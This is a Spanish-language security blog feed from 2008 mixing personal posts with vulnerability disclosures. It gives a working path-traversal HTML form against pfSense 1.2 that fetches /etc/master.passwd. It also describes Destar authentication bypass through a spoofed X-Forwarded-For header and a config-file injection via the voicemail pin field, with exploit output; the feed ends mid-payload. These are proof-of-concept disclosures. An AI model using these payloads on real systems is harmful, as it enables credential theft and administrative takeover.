tag:blogger.com,1999:blog-64569648019279971862008-09-16T22:16:50.124-05:00nonr00t stuff (uid != 0)nonr00t@debian:~$ id -a
uid=1003(nonr00t) gid=1003(nonr00t) grupos=1003(nonr00t)nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comBlogger28125tag:blogger.com,1999:blog-6456964801927997186.post-31735178857213123052008-08-31T22:22:00.003-05:002008-08-31T22:34:31.295-05:00[OT] Un buen MRASAJE<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upload.wikimedia.org/wikipedia/commons/d/d2/ChineseMedecine.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 250px; height: 367px;" src="http://upload.wikimedia.org/wikipedia/commons/d/d2/ChineseMedecine.JPG" alt="" border="0" /></a><br />Esto que tiene que ver con el perfil técnico del blog?<br /><br /><div style="text-align: center;">!!! NADA !!!<br /></div><br />Pero queria agradecerle a mi progenitora por el delicioso MRASAJE que me practico esta noche.<br /><br />Que es un MRASAJE?, pues es un triple combo o un killer combo como dirian algunos por ahí, solo se puede usar cuando el cuerpo lo pide a gritos:<br /><br /><span style="font-size:85%;"><a href="http://es.wikipedia.org/wiki/Moxa">MOXIBUSTIÓN</a> + <a href="http://es.wikipedia.org/wiki/Reiki">REIKI</a> + <a href="http://es.wikipedia.org/wiki/Acupuntura">ACUPUNTURA</a> * ( <a href="http://es.wikipedia.org/wiki/Masaje">MASAJE</a> ) </span>= <span style="font-size:180%;"><span style="color: rgb(255, 0, 0);">MRASAJE</span></span><br /><br />Alguna de las ventajas de ser un Geek con mamá terapeuta.<br /> Una vez realizada la terapia puedo compilar mejor.<br />Quíen dijo que un Geek no puede hacer otras cosas?<br /><br />Perdón por el offtopic. :D<br /><br />Si, mientras me masajeaban seguia compilando y buscando bugs.<br /><br />See yaa!nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-10477806631204803682008-08-30T22:28:00.003-05:002008-08-30T22:32:50.910-05:00Just 4 rememberyear 2003 ...<br /><br /><span style="color:#000000;">"At lines 467-469 in crypto/rand/md_rand.c is an interesting<br />thing:<br /><br />#ifndef PURIFY<br /> MD_Update(&m,buf,j); /* purify complains */<br />#endif<br /><br />That is the code that causes the problem (I just verified<br />it with Valgrind). Does it have any bad side affects to<br />always skip that code? Since both Purify and Valgrind is<br />unhappy with that function call, something must be wrong<br />with it.</span>"<br /><br />LOL.<br />is perfect Valgrind ?<br /><br />Este texto empieza exactamente con la respuesta al problema de hace unos meses de Debian (http://www.debian.org/security/2008/dsa-1571):<br /><br /><span style="color: rgb(255, 0, 0);">"</span><span style="color:#000000;"><span style="color: rgb(255, 0, 0);">That is the code that causes the problem ..."</span><br /><br /></span>Jeje, será que ya sabia lo que iba a ocasionar?<br /><br />PD: una mala premisa.nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-35868573238278285022008-08-28T09:18:00.004-05:002008-08-28T09:39:32.144-05:00I don like it<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLazzUl5RDI/AAAAAAAAAdo/IWdw5XquSmc/s1600-h/phpldap.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLazzUl5RDI/AAAAAAAAAdo/IWdw5XquSmc/s400/phpldap.jpg" alt="" id="BLOGGER_PHOTO_ID_5239572910774502450" border="0" /></a><br />Estaba haciendo unas pruebas y leí un poco del código, realmente se ve muy buggy, no pienso ir mas allá, lo dejo para que alguien mas se anime ;)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLa1rMkyR_I/AAAAAAAAAdw/qaHwDsGttGw/s1600-h/PHPLDAPADMIN.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SLa1rMkyR_I/AAAAAAAAAdw/qaHwDsGttGw/s400/PHPLDAPADMIN.png" alt="" id="BLOGGER_PHOTO_ID_5239574970206668786" border="0" /></a>Ningun archivo valida ingreso de parámetros, la función de borrado masivo es vuln, permitiendo eliminar completamente un dominio, posiblemente se pueda hacer LDAP injection o cosas así. Lo verifique en la versión que aparece en el screenshot, no he probado nada en las versiones en desarrollo.<br /><br />Lo delicado del asunto es que a traves de un sistema web vulnerable, pueda tener control total de un PDC.nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-32835402760273842942008-08-07T21:23:00.007-05:002008-08-07T21:58:23.371-05:00Bug and exploit for Pfsense v1.2<div style="text-align: center;"><span style="font-weight: bold;">Por donde atacarias un firewall?<br /><br /></span></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.pfsense.org/"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SJuvW31oZDI/AAAAAAAAAdE/fhNcylbRwek/s400/pfsense.png" alt="" id="BLOGGER_PHOTO_ID_5231968199601841202" border="0" /></a><br />Un exploit?<br /><span style="font-weight: bold;">bash-3.2# cat ataque.html </span><br /><pre><br /><span style="color: rgb(255, 102, 102);"><form name="ataque" method="post" action="http://192.168.20.200/exec.php"></span><br /><span style="color: rgb(255, 102, 102);"><table width="0" border="0" align="center" cellpadding="0" cellspacing="0"></span><br /><span style="color: rgb(255, 102, 102);"><tr></span><br /><span style="color: rgb(255, 102, 102);"><td>Ataque</td></span><br /><span style="color: rgb(255, 102, 102);"><td><input name="submit" type="text" id="victima" value="Download"></td></span><br /><span style="color: rgb(255, 102, 102);"><td><input name="dlPath" type="text" id="victima2" value="../../../../../../../etc/master.passwd"></td></span><br /><span style="color: rgb(255, 102, 102);"></tr></span><br /><span style="color: rgb(255, 102, 102);"><tr></span><br /><span style="color: rgb(255, 102, 102);"><td> </td></span><br /><span style="color: rgb(255, 102, 102);"><td><input type="submit" name="submit" value="Download"></td></span><br /><span style="color: rgb(255, 102, 102);"></tr></span><br /><span style="color: rgb(255, 102, 102);"></table></span><br /><span style="color: rgb(255, 102, 102);"></form> </span><br /></pre><div style="text-align: center;"><span style="font-size:78%;">Donde, 192.168.20.200 es ?</span><br /></div><br />Yo solo quiero descargarme el <span style="font-style: italic; color: rgb(255, 102, 0);">/etc/master.passwd</span> del firewall.<br /><div><span style="font-style: italic;">(thx astrid por la inspiración, jeje)</span><br /></div><blockquote></blockquote>Un fix silencioso ...<br /><br /><span style="color: rgb(51, 51, 51);">de:<br /><a href="http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.11.2.1">http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.11.2.1</a><br /><br />a:</span><br /><span style="color: rgb(51, 51, 51);"><a href="http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.13">http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.13</a><br /></span><br /><br />bye ...nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-60605658890608472472008-08-07T20:58:00.003-05:002008-08-07T21:12:31.086-05:00Packet Tracer 5<span style="font-weight: bold;"><br /></span><div style="text-align: center;"><span style="font-weight: bold;">¿ Conocen el software packet tracer de CISCO ?</span><br /><span style="font-weight: bold;"></span></div><span style="font-weight: bold;"><br /></span><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SJuotl59oVI/AAAAAAAAAc8/urIuyqxwqJM/s1600-h/packet.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SJuotl59oVI/AAAAAAAAAc8/urIuyqxwqJM/s400/packet.png" alt="" id="BLOGGER_PHOTO_ID_5231960893343768914" border="0" /></a><span style="font-size:78%;">Fig. Packet tracer en Linux </span><br /></div><br /><div style="text-align: justify;"><span style="font-weight: bold;"></span>Para los que no saben que es, les cuento que este software es un complemento ideal para los manuales de redes, nos permite simular, visualizar, probar y probar montajes de red con diferentes protocolos y diferentes dispositivos activos. Puedo simular switchs, routers, access points, servidores dhcp, etc.<br /><br />Cúal es la novedad?, o porque me animo a postearlo aquí?<br />Porque ya funciona en Linux, corre en Linux usando librerias QT y aunque no es software libre, se puede usar en ambientes academicos sin restricciones. Ademas la versión 5.0 recien salida, permite trabajar en red.<br /><br />Que ventaja tiene esto?, que es posible a traves de internet o en una LAN realizar un montaje de red con varios packet tracer distribuidos, de esta forma cada componente de la red puede tener varios equipos clientes o servidor y así ...<br /><br />En definitiva simular un paso mas a la realidad, realizando las conexiones del packet tracer con conexiones TCP entre las diferentes IPs.<br /><br />He hecho pruebas entre un WinXP y un Linux Debian y no tuve ningún problema en usar la caracteristica "multiuser".<br /></div><br />Más información en:<br /><a href="http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html">http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html</a><br /><br /><span style="font-style: italic;">Off topic:</span><br /><div style="text-align: justify;">Por otro lado, me entró la curiosidad de cúal es la forma que usan para validarse entre los packet tracer de la red, puesto que requieren una clave para poder realizar la simulación ...<br /><br />No avance mucho en esto porque me da pereza, pero luego lo retomaré...<br /><br />Una pequeña prueba:<br /><br />Usando una clave "12345" en ambos extremos:<br /><br />74.0.PTMP.1.{b2232ec5-0000-4000-91b8-1d87f11e53f4}.2.1.1.4.20080807202649.2..<br />74.1.PTMP.1.{634e4574-3e04-4aa3-9cd9-631fbf02c99f}.2.1.1.4.20080808022701.2..<br />............%....<br />827ccb0eea8a706c4c34a16891f84e7b<br />yDQ9cbEQXkEFLD4t74XnkX6xvMEGTA4Z<br /><br />Envio un string de 32 chars (a que se te parece?) y me devuelve uno de 32.<br /><br />Cuando la clave es incorrecta pasa lo mismo y cada vez que hago la conexión se genera un valor diferente ...<br /><br />Ahí se los dejo por si quieren investigar.<br /><br /></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-76067122244714925972008-07-06T20:11:00.007-05:002008-07-07T20:00:13.900-05:00Campus Party Colombia 2008<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_qAkKS-aUuQk/SHFtocpAW7I/AAAAAAAAAak/oWQLi3t5eOY/s1600-h/logocp.gif"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 379px; height: 170px;" src="http://bp0.blogger.com/_qAkKS-aUuQk/SHFtocpAW7I/AAAAAAAAAak/oWQLi3t5eOY/s400/logocp.gif" alt="" id="BLOGGER_PHOTO_ID_5220073984749493170" border="0" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.ggpht.com/las.travesias/SHANJEbStyI/AAAAAAAADMk/dLml35zkSh0/DSC00392.JPG?imgmax=800"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://lh3.ggpht.com/las.travesias/SHANJEbStyI/AAAAAAAADMk/dLml35zkSh0/DSC00392.JPG?imgmax=800" alt="" border="0" /></a><span style="font-size:78%;"><span style="font-weight: bold;">Fig 1. La foto que no puede faltar en ningun lugar, en ningun evento</span></span><br /></div><br /><div style="text-align: justify;">Por fin terminé de organizar la información descargada de la <a href="http://es.wikipedia.org/wiki/DC%2B%2B">LAN P2P</a> montada en la campus, gracias a <a href="http://www.kleper.net/">kleper</a> por la iniciativa de montarla y permitirme tener los capítulos de <a href="http://es.wikipedia.org/wiki/H%C3%A9roes_%28serie_de_TV%29">HEROES </a>que ahora estoy feliz viéndome. En total fueron como <span style="font-style: italic;">280 GB</span> que me descargué aunque mucha cosa fue basura, encontré cosas importantes ;)<br /><br />Mi experiencia en la<a href="http://www.campus-party.com.co/"> CP</a> fue un poco diferente, puesto que tenia la responsabilidad de coordinar el montaje de red de la arena. Así que para mí la campus duró 5 días mas de lo normal, al igual que para las 15 personas (tocólogos de redes del <a href="http://www.sena.edu.co/">SENA</a>)que me acompañaron en esa misión, entre esas mi querida y adorada <a href="http://y0sita.blogspot.com/">astro</a>, supongo que cada uno de ellos tendrá una experiencia para compartir.<br /><br />Siempre que uno esta en un evento de estos la sensación es que uno quisiera ser un campusero mas, estar feliz, gritando por todos lados "<span style="font-style: italic;">Campus Party lo mejor!</span>", pero a la vez piensa en que quizás no sea tan divertido y que a esa responsabilidad se le puede sacar algo de disfrute.<br /><br /><div style="text-align: center;"><span style="font-size:130%;"><span style="font-weight: bold;">¿Que es lo que se hace en una Campus?</span></span><br /></div><br />Después de haber <a href="http://picasaweb.google.com/las.travesias/CampusPartyBrasil2008">estado en Brasil </a>apoyando el equipo de tecnología y después del compromiso adquirido aquí en Colombia, pienso que hay muchas personas que no dimensionan realmente lo que se puede hacer en un evento de tal magnitud, como también hay muchos otros que nunca se van a enterar de que se trata esa reunión de "peludos" con computadores y carpas durante 8 días.<br /><br />En la Campus esta la conectividad (4.0Gbps), esta la libertad para descargar datos sin restricciones, esta la posibilidad de jugar hasta que el cuerpo no de más, sin restricciones de mamás o de horarios, pero hay mas cosas ...<br /><br />Quiero iniciar una lista y continuarla en el <a href="http://www.el-directorio.org/">wiki del directorio</a> acerca de que es lo bueno que se puede aprender, hacer, vivir en una CP, no solo para que quede documentado, sino para que quede como experiencia y compromiso para los futuros campuseros.<br /><br /><a href="http://www.el-directorio.org/CampusPartyColombia#head-1055fd17293758f5252c81c5719e48e67a50a296">http://www.el-directorio.org/CampusPartyColombia#head-1055fd17293758f5252c81c5719e48e67a50a296</a><br /><br />Lo bueno para vivir en una Campus Party es:<br /><ul><li><span style="font-size:85%;"> Volver a encontrarse con amigos de diferentes ciudades</span></li><li><span style="font-size:85%;"> Aprender de los proyectos campuseros independientes</span></li><li><span style="font-size:85%;"> Concursar en cualquier cantidad de cosas que haya por hacer en esos 8 días</span></li><li><span style="font-size:85%;"> Programar charlas extras en horarios imposibles, solo para los mas gomosos</span></li><li><span style="font-size:85%;"> Asistir a las charlas y talleres programados y aprovecharlos al máximo</span></li><li><span style="font-size:85%;"> Darle un rostro a todos los nicks que están en la bandeja de contactos desde hace años</span></li><li><span style="font-size:85%;"> Conseguir nuevos aliados para los proyectos personales</span></li><li><span style="font-size:85%;"> Volverse GAMER por 8 días</span></li><li><span style="font-size:85%;"> Salir a conocer la ciudad en compañía de desconocidos o amigos</span></li><li><span style="font-size:85%;"> Chatear a 4 Mbps (al parecer la mayoría opto solo por esto, ya que los emoticones salían mas rápido)</span></li><li><span style="font-size:85%;"> Encontrar fuentes de inspiración (personas, proyectos) para futuras cosas personales</span></li><li><span style="font-size:85%;">Hacer negocios ...</span></li><li><span style="font-size:85%;">Etc ...<br /></span></li></ul>No me gusta escribir mucho al estilo Blogger, así que ya me voy despidiendo, no sin antes enviarle un saludo a todos los muchachos (y muchachas) que hicieron parte del grupo de montaje de la red de la arena, y también a todos los amigos de siempre y los nuevos conocidos durante la CP de Bogotá.<br /><br />A la gente de <a href="http://www.ossim.net/">OSSIM</a>, los de <a href="http://www.dragonjar.org/">DragonJar</a>, la <a href="http://www.colosug.org/">comunidad OpenSolaris</a> y los otros y aquellos también, un saludo para todos y nos vemos en el próximo evento donde coincidamos.<br /><br />Un saludo para Miguel, la Mona, Polkan, Offray, Xtingray y para la el resto de la gente de <a href="http://www.campus-party.com.co/index.php3?SEC=120&action=HOME&checksum=b49c06a493271ee3b857bb99805ac18b">Futura</a> que me colaboró con las cuestiones administrativas cuando había problemas.<br /><br /><div style="text-align: left;">Bueno, como diria Offray acompañado de un gesto para el cúal no tengo emoticon:<br />NNNNnnnoossss VEMOOOOOOOOSSSSSSSssssssssssssssssssssss ...<br /></div><br />PD<span style="font-style: italic;">: alguien pudo entrar al </span>CORE<span style="font-style: italic;">, no era un </span>CORE<span style="font-style: italic;"> irrompible :p</span><br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.ggpht.com/las.travesias/SHAB-VMv4ZI/AAAAAAAADIM/pFhBbdxukvk/DSC00300.JPG?imgmax=800"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://lh5.ggpht.com/las.travesias/SHAB-VMv4ZI/AAAAAAAADIM/pFhBbdxukvk/DSC00300.JPG?imgmax=800" alt="" border="0" /></a> <span style="font-size:78%;"> <span style="font-weight: bold;"> Fig 2. Un agente extraño circulando en la interfaz WAN del CORE, detectado por la gente de OSSIM.</span></span><br /></div></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-39484850482435514542008-06-05T19:49:00.004-05:002008-06-05T19:52:55.728-05:00something stupid, something funny<div style="text-align: center;"><span style="font-size:180%;"><span style="font-weight: bold;font-family:arial;" >D . O . S<br /><br /></span></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_qAkKS-aUuQk/SEiKB33mdVI/AAAAAAAAAYs/cHA0g0Ujh9s/s1600-h/DOS_001.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_qAkKS-aUuQk/SEiKB33mdVI/AAAAAAAAAYs/cHA0g0Ujh9s/s400/DOS_001.jpg" alt="" id="BLOGGER_PHOTO_ID_5208564733835638098" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_qAkKS-aUuQk/SEiKCJGCmKI/AAAAAAAAAY0/qxkbRvoH9F0/s1600-h/DOS_004.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_qAkKS-aUuQk/SEiKCJGCmKI/AAAAAAAAAY0/qxkbRvoH9F0/s400/DOS_004.jpg" alt="" id="BLOGGER_PHOTO_ID_5208564738459605154" border="0" /></a><br /><span style="font-size:180%;"><span style="font-weight: bold;font-family:arial;" ><br /></span></span></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-81279101541528121212008-04-13T17:06:00.004-05:002008-04-13T17:29:21.490-05:00Colosug Community<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/SAKEd49bcgI/AAAAAAAAAUo/cCtTzKZuhOM/s1600-h/opensolaris_logo_rgb.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/SAKEd49bcgI/AAAAAAAAAUo/cCtTzKZuhOM/s400/opensolaris_logo_rgb.jpg" alt="" id="BLOGGER_PHOTO_ID_5188855369725342210" border="0" /></a>Ya conocen la comunidad <a href="http://www.opensolaris.org/">OpenSolaris</a>?, ya conocen a <a href="http://www.colosug.org/">Colosug</a> ?, que estan esperando?<br /><br />Para participar en los proyectos de OpenSolaris, solo basta con seguir los siguientes 3 pasos:<br /><br /><span style="font-weight: bold;">1.</span> Registren una cuenta en : <a href="https://opensolaris.org/enter.jspa">Sign in OpenSolaris</a>.<br /><br />2. Entren a la <a href="https://opensolaris.org/os/projects/#portal">página del proyecto</a> en cuestion, por ejemplo, el proyecto de grupo de usuarios <a href="http://www.colosug.org/"> colombiano</a> de OpenSolaris y hagan click en afiliarse el proyecto.<br /><br /><span style="font-weight: bold;">3.</span> Inscribanse en las<a href="http://mail.opensolaris.org/mailman/listinfo/ug-colosug"> listas de correo</a> para participar activamente.<br /><br /><br />Más información:<br /><ul><li>Página del proyecto COLOSUG: <a href="http://www.colosug.org/">http://www.colosug.org/</a></li><li>Blogs del proyecto: <a href="http://blogs.colosug.org/">http://blogs.colosug.org/</a></li><li>Calendario de actividades: <a href="http://calendario.colosug.org/">http://calendario.colosug.org/</a></li><li>Anuncios: <a href="http://anuncios.colosug.org/">http://anuncios.colosug.org/</a></li><li>Documentación de Opensolaris: <a href="http://doc.colosug.org/">http://doc.colosug.org/</a></li><li>Lista de correo: <a href="http://mail.opensolaris.org/mailman/listinfo/ug-colosug">http://mail.opensolaris.org/mailman/listinfo/ug-colosug</a></li></ul>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-73755582264468739272008-03-22T23:55:00.003-05:002008-03-23T00:35:05.309-05:00Bug2 and exploit2 for destar<div style="text-align: justify;"><a href="http://destar.berlios.de/">Destar</a> es una interfaz web (programada en python) para manejar <a href="http://www.asterisk.org/">Asterisk</a>.<br />La parte interesante es que unos colombianos son los que han estado liderando el proyecto en los ultimos años. (Buena por esa!!!).<br /><br />Este otro bug lo encontre despues de encontrar el primero, antes de que se acabaran los caballeros del zodiaco y cuando ya tenia mucho sueño.<br /><br />Este bug es un poco mas peligroso que el anterior, pues no se requiere tener usuario valido dentro de destar para ingresar como "administrador".<br /><br />Se encuentra en el archivo <span style="font-style: italic;">Publisher.py</span>, el cual maneja la conexión entrante.<br />exactamente en las líneas:<br /></div><br /><blockquote> 65 <br />66 # Determine IP of originator, keep Squid in mind :-)<br />67 try:<br />68 ip = request.environ['HTTP_X_FORWARDED_FOR']<br />69 except:<br />70 ip = request.environ['REMOTE_ADDR']<br />71 </blockquote><br /><div style="text-align: justify;"><span style="font-weight: bold;">Cual es el problema?</span>, el problema puede ser no manejar sesiones, sabiendo que el quixote las soporta. segun el autor (que no los colombianos):<br /></div><br /><blockquote> <span style="font-size:85%;">22 DeStarPublisher also has it's own session management. For simplicity, I put<br />23 the session stuff directly into the Publisher object, so I don't use<br />24 Quixote's classes 'Session' and 'SessionPublisher'.<br />25<br />26 Reasons:<br />27<br />28 a) they set a cookie, some browsers don't allow cookies<br />29<br />30 b) if you stop and start DeStar (which happens very often during<br />31 Development) Quixote's session handler would give you ugly error messages<br />32<br />33 c) Keeping the session data in the publisher object scales quite ok, because<br />34 DeStar will usually only be used inside the LAN anyway<br />35<br />36 But keep in mind that a session here is not a (user, host, browser_process)<br />37 tuple, but a (user, host) tuple.<br />38<br />39 TODO: the default implementation provided here is not persistent. There is<br />40 also no cleanup code to remove old sessions.<br />41<br />42<br />43 The Session holds several values:<br />44<br />45 request.session.user User name<br />46 request.session.level User level (0=disabled/not logged in<br />47 1=normal PBX user<br />48 2=PBX Administrator<br />49 3=PBX Configurator<br />50 4=Programmer<br />51 request.session.language User language<br /></span></blockquote><br /><div style="text-align: justify;">O sea que la cookie que conocemos normalmente se reemplaza por una dupla (ip,usuario). Esto no es del todo malo, si se toman las precauciones del caso.<br /><br />Pero ...<br /><br />El primer llamado lo hace a una variable que se encuentra en los encabezados y se llama: <span style="font-weight: bold;">HTTP_X_FORWARDED_FOR</span><br /><span style="font-weight: bold;"></span><br /><span style="font-weight: bold;"></span></div><div style="text-align: justify;"><div style="text-align: justify;">Como todos sabemos desde el colegio, esta variable se añade a las comunicaciones cuando hay proxies de por medio. Que pasaria entonces si le hacemos creer a destar que pasamos por un proxy y por eso llevamos esa variable puesta?<br /></div><br />Uhmmm ...<br /><br />Que el software creeria que nuestra IP es igual a lo que pongamos en la variable y ya tendriamos control. (yo se que tu tambien lo pensaste!)<br /><br /><span style="font-weight: bold;">Si un usuario tiene control de las variables internas, lo tiene todo.</span><br /><br />Una vez conseguida la IP, creamos una sesión valida.<br /></div><br /><blockquote> 95 session.language = 'en'<br />96 else:<br />97 for user in users:<br />98 if user.pc == ip:<br />99 session.user = user.name<br />100 session.level = int(user.level)<br />101 session.phone = user.phone<br />102 session.language = user.language<br />103 break<br />104<br />105 language.setLanguage(session.language)<br />106 session.lastaccess = t<br />107 request.session = session<br /></blockquote><br /><div style="text-align: justify;">El for de la linea 97 lo que hace es buscar el primer usuario que tenga la IP que acabamos de ingresar por medio de la variable <span style="font-weight: bold;">HTTP_X_FORWARDED_FOR</span><br />por lo tanto si queremos hacer un "<span style="color: rgb(204, 0, 0);">auto login</span>" solo necesitamos saber la IP de un usuario validado en el sistema y ponerla en la variable. :)<br /><br />Pero para poner las cosas mejor, cuando se monta el software, destar trae un usuario por omisión que no tiene variable "pc" configurada.<br /><br />Por lo tanto para el script esta variable tiene un valor ="" (nulo), entonces si hacemos un script que ponga la <span style="font-weight: bold;">HTTP_X_FORWARDED_FOR=""</span>, estariamos ingresando como usuario administrador (Configurator). !Simple lógica!<br /><br />Listo eso es todo, una posible solucion es validar las cadenas de entrada y obviamente mejorar el script que captura la IP.<br /><br />Un ejemplo del uso del exploit:<br /></div><br /><span style="color: rgb(255, 0, 0);">debian:~# python destar_exploit2.py</span><br /><span style="color: rgb(255, 0, 0);">Target host: i.e: http://127.0.0.1:8080/</span><br /><span style="color: rgb(255, 0, 0);">Target host ( include http and /): http://127.0.0.1:8080/</span><br /><span style="color: rgb(255, 0, 0);">Ok, now go and test your user at: http://127.0.0.1:8080/</span><br /><br /><div style="text-align: justify;">Y ya tenemos un usuario valido en ese sistema. Si quieres cambiar los parámetros por defecto configura el exploit, estudialo, portate bien, no hagas daños, estos exploits son pruebas de concepto, solo buscan que aprendas un poco, nada mas.<br /><br /></div><span style="font-weight: bold;">Nos vemos en la próxima (cuando tenga tiempo) ... </span>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-61708103302397112812008-03-22T23:28:00.007-05:002008-03-22T23:55:05.912-05:00Bug1 and exploit1 for destar<div style="text-align: justify;"><a href="http://destar.berlios.de/">Destar</a> es una interfaz web (programada en python) para manejar <a href="http://www.asterisk.org/">Asterisk</a>.<br />La parte interesante es que unos colombianos son los que han estado liderando el proyecto en los ultimos años. (Buena por esa!!!).<br /><br />El siguiente bug lo encontre mientras jugaba un poco con la interfaz, espero que lo entiendan, que apliquen el conocimiento, que usen los PoC de forma responsable and so on ...<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/R-Xflh-ZdpI/AAAAAAAAAPw/mINlinbDrzw/s1600-h/user.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/R-Xflh-ZdpI/AAAAAAAAAPw/mINlinbDrzw/s320/user.png" alt="" id="BLOGGER_PHOTO_ID_5180792782227863186" border="0" /></a><br /><br />La explotación del bug permite que un usuario normal (como tu o como yo), con privilegios de usuario: "user", pueda crear una cuenta de administrador para entrar a la plataforma. Como lo logra?<br /><br />El bug esta en el archivo que parsea la informacion de la sección : <span style="font-style: italic;">PhoneSettings</span>, a donde tiene acceso un usuario normal.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_qAkKS-aUuQk/R-Xd5h-ZdoI/AAAAAAAAAPo/ySsCP23wWUk/s1600-h/phone.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_qAkKS-aUuQk/R-Xd5h-ZdoI/AAAAAAAAAPo/ySsCP23wWUk/s320/phone.png" alt="" id="BLOGGER_PHOTO_ID_5180790926801991298" border="0" /></a><br /><br />Estos datos pueden ser modificados por el usuario, ya que hacen parte de su perfil. Lo que voy a intentar es meterle a los campos cosas extrañas, voy a probar por ejemplo con el campo "<span style="font-style: italic;">Voicemail pin</span>", que es la clave para escuchar los mensajes de voz que me dejen en la extension.<br /><br />Cuando introduzco "cosas raras", puedo lograr que se modifique el archivo <span style="font-style: italic;">/etc/asterisk/destar_cfg.py </span>que es el que guarda la informacion de destar y que hace a su vez de base de datos, puesto que el autor manifiesta que usara este modo, porque no quiere complicarse con otras cosas (el autor anterior a los colombianos).<br /><br />La estructura normal del archivo es:<br /><br /><blockquote>CfgOptUser(<br /> name = "astridlabella",<br /> secret = "astridlabella",<br /> pc = "64.233.167.99",<br /> phone = "agent1",<br /> pbx = "pbx1",<br /> level = "1",<br /> language = "es",<br /> )<br /><br />CfgPhoneSip(<br /> pbx = "pbx1",<br /> name = "phone1",<br /> secret = "/GPOyGmK",<br /> ext = "2004",<br /> dtmfmode = "rfc2833",<br /> enablecallgroup = True,<br /> callgroup = "2",<br /> panel = True,<br /> calleridnum = "2004",<br /> calleridname = "Phone 1",<br /> dialout_local = True,<br /> dialout_international = True,<br /> dialout_018X_numbers = True,<br /> )<br /></blockquote>etc...<br /><br />Dependiendo de los objetos que busque, hay algo que saca los campos correspondientes y los usa.<br /><br />Bueno, lo que se hace inyectando codigo, es hacer que una entrada de una extension telefonica como la que vemos arriba, se transforme en:<br /><br /><blockquote>CfgPhoneSip(<br /> pbx = "pbx1",<br /> name = "agent3",<br /> secret = "LOCO",<br /> ext = "2003",<br /> dtmfmode = "rfc2833",<br /> enablecallgroup = True,<br /> callgroup = "1",<br /> queues = "queue1",<br /> panel = True,<br /> pin = 1234,) ; CfgOptUser(name="theroot",secret="theroot",pc="200.13.247.89",phone="agent1",pbx="pbx1",level="2",language="en",) ;CfgPhoneSip(pbx="pbx1000",name="OpenBSD-Agent",secret="imsecure",ext= "2999",dtmfmode = "rfc2833",enablecallgroup = True,callgroup = "1",queues="queue1",panel= True,,<br /> calleridnum = "2003",<br /> calleridname = "Agent 3",<br /> dialout_local = True,<br /> dialout_international = True,<br /> dialout_018X_numbers = 